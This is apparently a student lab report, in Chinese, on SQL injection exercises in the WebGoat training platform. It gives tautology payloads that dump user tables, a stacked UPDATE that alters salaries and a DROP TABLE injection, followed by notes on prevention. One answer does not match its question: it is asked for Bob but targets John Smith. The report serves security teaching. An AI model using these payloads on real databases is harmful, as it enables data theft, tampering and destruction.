目录
2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。
3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。
4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?
5. 如果想破坏employees的可用性,应该写怎样的SQL语句?
引言
熟悉WebGoat平台,在该平台上实现SQL注入攻击。
(1)下载webgoat-server-8.2.2.jar。
(2)搭建java环境。
(3)运行webgoat。
(4)实施SQL注入攻击。
一、安装好JAVA
二、下载并运行WebGoat
本文置顶免费下载,解压即可。
三、注册并登录WebGoat
四、模拟攻击
1. 第九题
原SQL语句
"SELECT * FROM user_data
WHERE first_name = 'John'
AND last_name = ' " + lastName + " ' ";
填入如下:
SELECT * FROM user_data
WHERE first_name = 'John'
AND last_name = 'Smith' or '1'='1' ;
成功查到所有用户的信息。
2. 第十题
原SQL语句
"SELECT * FROM user_data
WHERE login_count = " + Login_Count + "
AND userid = " + User_ID;
输入:
SQL语句变为:
SELECT * FROM user_data
WHERE login_count = 1
AND userid = '1' or '1' = '1' ;
成功查到所有用户的信息。
3. 第十一题
原SQL语句:
"SELECT * FROM employees
WHERE last_name = '" + name + "'
AND auth_tan = '" + auth_tan + "'";
填入:
SQL语句变为:
SELECT * FROM employees
WHERE last_name = '小煊'
AND auth_tan = ' ' or'1'='1 ';
成功查到用户信息:
4. 第十二题
原SQL语句:
"SELECT * FROM employees
WHERE last_name = '" + name + "'
AND auth_tan = '" + auth_tan + "'";
填入:
Authentication TAN: '; update employees set salary =1000000 where first_name = 'John' and last_name = 'Smith |
(在一个查询语句中注入一个修改语句,从而破坏数据库中的数据,从而破坏了完整性。)
SQL语句变为:
SELECT * FROM employees
WHERE last_name = '小煊'
AND auth_tan = ' ';
update employees set salary =1000000
where first_name = 'John'
and last_name = 'Smith ' ;
成功查到并插入用户信息:
5. 第十三题
原SQL语句如下:
"SELECT * FROM user_data
WHERE login_count ='"+variable+"'";
填入:
SQL语句变为:
SELECT * FROM user_data
WHERE login_count =' ';
drop table access_log;
-- ';
(通过--注释把后面的’注释掉,成功将数据库的资源删除)
五、思考体会
1. 举例说明SQL 注入攻击发生的原因。
假设有一个简单的用户登录功能,用户输入用户名和密码,然后将其传递给数据库执行查询以验证登录信息。
String username = request.getParameter("username");
String password = request.getParameter("password");
String SQL = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
在上述代码中,使用用户输入的数据直接拼接成SQL查询语句。然而,当用户在用户名或密码中输入恶意字符,就可能导致SQL注入攻击的发生。
例如,用户输入的密码为' OR '1'='1,那么最终构造的SQL查询语句为:
SELECT * FROM users
WHERE username='admin'
AND password='' OR '1'='1'
这个查询会返回所有用户,而不仅仅是匹配用户名和密码的用户,因为'1'='1'始终为真。这样,攻击者就可以绕过身份验证,并获得未授权的访问权限。
当我们访问动态网页时, Web 服务器会向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句。 这种网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web 应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。
2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。
(1)机密性
机密性是指保证信息不被非授权访问,即 使非授权用户得到信息也无法知晓信息内容,因而不能使用。SQL注入攻击可能导致数据库中的敏感信息泄露,例如用户账号、密码、个人资料等。攻击者可以通过构造恶意的SQL语句,绕过正常的身份验证和授权机制,获取到未经授权的数据。
如通过拼接字符串,使得SQL语句中有条件永远为真,不需要判断其他条件
这样输入之后可以看到数据库里全部人的信息。
(2)完整性
完整性是指维护信息的一致性,即信息在生成、传输、存储和使用过程中不应该发生人为或非人为的非授权篡改。信息的完整性包括两个方面:
数据完整性:数据没有被(未授权)篡改或者损坏;
系统完整性:系统未被非法操纵,按既定的目标运行。
攻击者可以利用SQL注入对数据库中的数据进行篡改,包括插入虚假数据、修改现有数据甚至删除数据。这可能导致系统中存储的数据被损坏或篡改,影响业务流程的正常运作。
如上面写的第十二题,在SQL语句执行的时候更改了其他数据,破坏了数据完整性。
(3)可用性
可用性是指保障信息资源随时可提供服务的能力特性,即授权用户可根据需要可以随时访问所需信息。可用性是信息资源服务功能和性能可靠性的度量,涉及到物理、网络、系统、数据、应用和用户等多方面的因素,是对信息网络总体可靠性的要求。
SQL注入攻击还可能导致数据库系统的服务不可用,包括数据库服务器崩溃、拒绝服务等情况。攻击者可以通过发送恶意的SQL查询或指令,消耗数据库系统的资源,导致其无法正常响应合法用户的请求,从而影响系统的可用性。
如上面写的第十三题,通过--注释把后面的’注释掉,成功将数据库的资源删除。
3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。
SELECT * FROM user_data
WHERE first_name = 'John'
AND last_name = ' Smith' or '1'='1 ' ;
4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?
SELECT * FROM employees
WHERE last_name = '小煊'
AND auth_tan = ' ';
update employees
set salary = 100
where first_name = 'John'
and last_name = 'Smith ';
5. 如果想破坏employees的可用性,应该写怎样的SQL语句?
SELECT * FROM user_data
WHERE login_count =' ';
drop table access_log;
-- ';
6. 怎样预防和避免SQL 注入攻击。
(1)严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害;
(2)校验参数的数据格式是否合法(可以使用正则或特殊字符的判断),对进入数据库的特殊字符进行转义处理,或编码转换。
(3)预编译 SQL(Java 中使用 PreparedStatement对特殊符号进行转义处理),参数化查询方式,避免 SQL 拼接,发布前,利用工具进行 SQL 注入检测。